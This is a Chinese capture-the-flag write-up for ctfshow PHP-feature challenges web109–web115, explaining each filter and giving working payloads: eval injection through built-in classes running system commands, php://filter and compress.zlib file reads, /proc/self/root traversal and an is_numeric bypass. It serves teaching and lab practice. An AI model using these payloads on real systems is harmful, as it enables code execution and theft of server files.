ctfshow-web入门-php特性(web109-web115)

news2024/9/22 11:37:26

目录

1、web109

2、web110

3、web111

4、web112

5、web113

6、web114

7、web115


1、web109

正则匹配要求 v1 和 v2 都包含字母,eval 函数将字符串作为 PHP 代码执行:new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。

利用点: PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码。

魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。

构造特定的 v1 和 v2 参数,可以利用这一机制执行任意代码,payload:

?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

其中 v1 是一个可以转换为字符串的类,v2 是一个有效的函数名,可以执行并返回结果作为 v1 类的构造函数参数。

拿到 flag:ctfshow{79368fc7-8a33-4622-879a-7ca73b2bc143}

执行的代码相当于:

eval("echo new Exception(system('tac fl36dg.txt'));");

由于 Exception 类的构造函数可以接受任意字符串参数,并且其 __toString() 方法会返回该字符串参数,eval 会输出 system('tac fl36dg.txt') 的结果,即文件内容。

上述 payload 使用的都是 php 的内置类,我们还可以使用匿名类结合魔术方法来打:

?v1=class{ public function __construct(){system('tac f*');}};&v2=w

new class{ public function __construct(){system('tac f*');}} 创建一个匿名类,并执行其构造函数,运行 system('tac f*');w() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。 

2、web110

考察:php内置类,利用 FilesystemIterator 获取指定目录下的所有文件

新增了很多过滤东西,特别是括号被过滤掉了,我们无法对函数进行传参。

php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。

payload:

?v1=FilesystemIterator&v2=getcwd

相当于执行:

eval("echo new FilesystemIterator(getcwd());");

getcwd() 返回当前工作目录路径,之后创建一个 FilesystemIterator 对象,该对象会遍历当前目录中的文件,这里就会输出当前目录中第一个文件的路径。

访问 fl36dga.txt

拿到 flag:ctfshow{d121646a-f5df-44b0-b958-da5f2613f299} 

3、web111

对 v1 和 v2 的输入有过滤,要求 v1 中包含字符串 "ctfshow",才会调用 getflag 函数。

eval("$$v1 = &$$v2;");
var_dump($$v1);

将 $v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息。

原本思路是想将 $v2 赋成 flag,就得到 $flag,再将 $flag 赋给 $ctfshow,然后输出 $ctfshow 实际就是输出 $flag 的内容,构造 payload:

?v1=ctfshow&v2=flag

但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。

因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。

payload:

?v1=ctfshow&v2=GLOBALS

将全部变量输出 

拿到 flag:ctfshow{dd7d44c1-7755-4d98-8d4c-caf6f3713b19}

4、web112

过滤掉了一些协议和过滤器,以及 ../,我最开始还以为是过滤了点,其实没有。

is_file() 函数用于检查指定的文件是否是常规的文件,如果是,则返回 TRUE。

这里需要绕过这个 is_file 的检测,但是又要能被 highlight_file 识别,使用 php 伪协议。

不使用过滤器,payload:

?file=php://filter/resource=flag.php

拿到 flag:ctfshow{3dbee33d-4de6-42e3-b01b-561878a5cca8}

也可以使用正则匹配外的:

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

 

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

结果需要编码转换一下:

<?php
#对特殊符号进行转义
$flag="f\$al=gc\"fthswof{0d6f51-6e3674-07-658476-4cc43d99db}f;\"";
$re=iconv("UCS-2BE","UCS-2LE",$flag);
echo  "flag:".$re;
?>

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

或者:

?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

?file=compress.zlib://flag.php

5、web113

新增过滤掉 filter

使用:

?file=compress.zlib://flag.php

拿到 flag:ctfshow{aa7d2092-be32-4fd4-89e1-942366c6e3c8}

预期解的 payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。

由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。

6、web114

没有过滤 filter,直接读:

?file=php://filter/resource=flag.php

flag:ctfshow{7dc133a3-81e8-458a-8f21-534406d511d2}

7、web115

str_replace() 函数替换字符串中的一些字符(区分大小写)。

用法:str_replace(find,replace,string,count)

参数描述
find必需。规定要查找的值。
replace必需。规定替换 find 中的值的值。
string必需。规定被搜索的字符串。
count可选。一个变量,对替换数进行计数。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

用法:trim(string,charlist)

参数描述
string必需。规定要检查的字符串。
charlist可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
  • "\0" - NULL
  • "\t" - 制表符
  • "\n" - 换行
  • "\x0B" - 垂直制表符
  • "\r" - 回车
  • " " - 空格

要求在 filter 函数前 $num 不能为 36,但是执行 filter 函数后 $num 又要等于 36。 

对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。

payload:

?num=%0c36

这些内容都不在匹配范围内,因此 filter 函数相当于无效。

继续看后面的几个比较:

is_numeric($num)

满足,is_numeric 可以在数字前面加空格绕过,%0c 是换页符,%09 和 %20 也都可以让 is_numeric() 函数返回为 TRUE。

$num!=='36' and trim($num)!=='36'

$num=%0c36,在移除空白字符前和移除空白字符后,都不强等于 36。

最后一个:

filter($num)=='36'

这里是弱比较,会先进行类型转换再比较,返回结果也是 TRUE。

总的来说就是:在 PHP 中,使用 ===!== 进行比较时,会同时比较值和类型,而使用 ==!= 进行比较时,会进行类型转换后再比较。 

还有一个考点就是 is_numeric 的绕过了。

拿到 flag:ctfshow{06166de0-0316-4da9-ac27-26c9c4c4bb5b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1927397.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用Nginx OpenResty与Redis实现高效IP黑白名单管理

1、引言 在当今数字化时代&#xff0c;网络安全已成为企业和个人用户关注的焦点。IP黑白名单作为一种有效的网络安全策略&#xff0c;允许我们精确控制对Web资源的访问权限。通过白名单&#xff0c;我们可以确保只有可信的IP地址能够访问敏感资源&#xff1b;而黑名单则可以阻…

gptpdf:使用大模型(如 GPT-4o)将 PDF 解析为 markdown。

今天给大家分享一个开源的项目&#xff0c; 使用视觉大语言模型&#xff08;如 GPT-4o&#xff09;将 PDF 解析为 markdown。 方法非常简单(只有293行代码)&#xff0c;但几乎可以完美地解析排版、数学公式、表格、图片、图表等。 使用 GeneralAgent lib 与 OpenAI API 交互。…

链接追踪系列-08.mac m1安装logstash-番外

下载地址&#xff1a;https://elasticsearch.cn/download/ 配置es相关&#xff1a; #安装plugin&#xff1a; jelexbogon bin % ./logstash-plugin install logstash-codec-json_lines启动&#xff1a;指定配置文件运行 jelexbogon bin % nohup ./logstash -f ../config…

破解YouTube限制:保姆级教程,轻松查看博主邮箱

近期YouTube取消了博主的邮箱展示&#xff0c;这造成了不小的轰动&#xff0c;给想要联系博主的粉丝和想要寻求网红合作的品牌都带来了极大的不便。但这难不倒万能的网友&#xff01;最新发现&#xff0c;通过一串神秘代码可以在YouTube上查看到博主的邮箱&#xff0c;这里Nox聚…

微信小游戏 彩色试管 倒水游戏 逻辑 (二)

最近开始研究微信小游戏&#xff0c;有兴趣的 可以关注一下 公众号&#xff0c; 记录一些心路历程和源代码。 定义一个 Water class 1. **定义接口和枚举**&#xff1a; - WaterInfo 接口定义了水的颜色、高度等信息。 - PourAction 枚举定义了水的倒动状态&#xff0c;…

Gil-Pelaez inversion

一、特征函数 A.随即变量的特征函数定义与性质 B.特征函数与PDF的关系 傅里叶变换:C.特征函数与矩函数关系 二、Gil-Pelaez反演定理 输入功率 P i n P_{in}

Kotlin标准函数(语法糖)let with run also apply快速讲解

目录 1、知识储备——扩展函数 原理 定义扩展函数 调用扩展函数 2、返回值为上下文对象的标准函数 apply also 3、返回值为Lambda表达式结果 let run with 4、一表总结 1、知识储备——扩展函数 原理 Kotlin 在不继承父类或实现接口下&#xff0c;也能扩展一个类的…

Linux进程通信--共享内存

文章目录 概述共享内存基本原理共享内存的操作创建共享内存函数接口形成key--fotk创建共享内存代码演示补充指令集--ipc的指令key和shmid区别创建并获取共享内存代码 删除共享内存函数接口删除共存内存函数代码演示 共享内存段连接到进程地址空间函数接口代码演示 取消关联代码…

真空油炸机的特点是什么?

真空油炸机的特点&#xff0c;如同一位技艺精湛的厨师&#xff0c;不仅确保了食材的完美呈现&#xff0c;更在科技与传统工艺之间找到了完美的平衡。 首先&#xff0c;真空油炸机以其独特的真空环境&#xff0c;为食材打造了一个低氧、低压的烹饪空间。在这样的环境中&#xff…

LabVIEW比例压力控制阀自动测试系统

开发了一套基于LabVIEW编程和PLC控制的比例控制阀自动测试系统。该系统能够实现共轨管稳定的超高压供给&#xff0c;自动完成比例压力控制阀的耐久测试、流量滞环测试及压力-流量测试。该系统操作简便&#xff0c;具有高精度和高可靠性&#xff0c;完全满足企业对自动化测试的需…

vue3中谷歌地图+外网申请-原生-实现地址输入搜索+点击地图获取地址回显 +获取国外的geoJson实现省市区级联选择

一. 效果&#xff1a;输入后显示相关的地址列表&#xff0c;选中后出现标示图标和居中定位 1.初始化谷歌地图 在index.html加上谷歌api请求库 <script src"https://maps.googleapis.com/maps/api/js?key申请到的谷歌地图密钥&vweekly&librariesgeometry,place…

指针!!C语言(第一篇)

指针1 指针变量和地址1.取地址操作符(&)2.指针变量和解引用操作符(*) 指针变量的大小和类型指针的运算特殊指针1.viod*指针2.const修饰指针3.野指针 assert断言指针的使用和传址调用1.strlen的模拟实现2.传值调用和传址调用 指针变量和地址 在认识指针之前&#xff0c;我们…

鸿蒙实训笔记

第一天 #初始化一个新的NPM项目(根据提示操作) npm init #安装TSC、TSLint和NodeJS的类型声明 npm install -s typescript tslint types/node 在根目录中新建一个名为tsconfig.json的文件&#xff0c;然后在代码编辑器中打开&#xff0c;写入下述内容&#xff1a; {"co…

SpringBoot+Vue实现简单的文件上传(Excel篇)

SpringBootVue实现简单的文件上传 1 环境 SpringBoot 3.2.1&#xff0c;Vue 2&#xff0c;ElementUI 2 页面 3 效果&#xff1a;只能上传xls文件且大小限制为2M&#xff0c;选择文件后自动上传。 4 前端代码 <template><div class"container"><el…

性能测试(2)

jmeter参数化 loadrunner Jmeter IP欺骗&#xff0c;也称为IP欺诈&#xff0c;是指通过伪装、篡改IP地址的方式&#xff0c;进行网络攻击或欺骗行为。这种行为可能会导致网络安全问题&#xff0c;包括身份盗窃、数据泄露、DDoS攻击等。为了保护自己的网络安全&#xff0c;用户…

5.3 需求分析

软件需求 定义 分类 真题 需求工程 需求获取 真题 需求分析 状态转换图 数据流图 数据流图分层 顶层数据流图、0层数据流图 1层数据流图 真题 需求规约 需求定义方法 需求验证 需求验证内容 需求管理 版本控制 需求跟踪 变更控制 真题

mysql不初始化升级

1、下载mysql&#xff0c;下载地址&#xff1a;MySQL :: Download MySQL Community Server 2、解压下载好的mysql&#xff0c;修改配置文件的datadir指定目录为当前数据存储的目录 3、通过管理员cmd进入新版本mysql的bin目录&#xff0c; 然后执行命令安装mysql服务&#xff…

2024年山东省安全员B证证考试题库及山东省安全员B证试题解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年山东省安全员B证证考试题库及山东省安全员B证试题解析是安全生产模拟考试一点通结合&#xff08;安监局&#xff09;特种作业人员操作证考试大纲和&#xff08;质检局&#xff09;特种设备作业人员上岗证考试大…

LeetCode 441, 57, 79

目录 441. 排列硬币题目链接标签思路代码 57. 插入区间题目链接标签思路两个区间的情况对每个区间的处理最终的处理 代码 79. 单词搜索题目链接标签原理思路代码 优化思路代码 441. 排列硬币 题目链接 441. 排列硬币 标签 数学 二分查找 思路 由于本题所返回的 答案在区间…

通过 PPPOE 将 linux 服务器作为本地局域网 IPv4 外网网关

将 linux 服务器作为本地外网网关&#xff0c;方便利用 Linux 生态中的各种网络工具&#xff0c;对流量进行自定义、精细化管理… 环境说明 拨号主机&#xff1a;CentOS 7.9, Linux Kernel 5.4.257 拨号软件: rp-pppoe-3.11-7.el7.x86_64初始化 1、升级系统到新的稳定内核&a…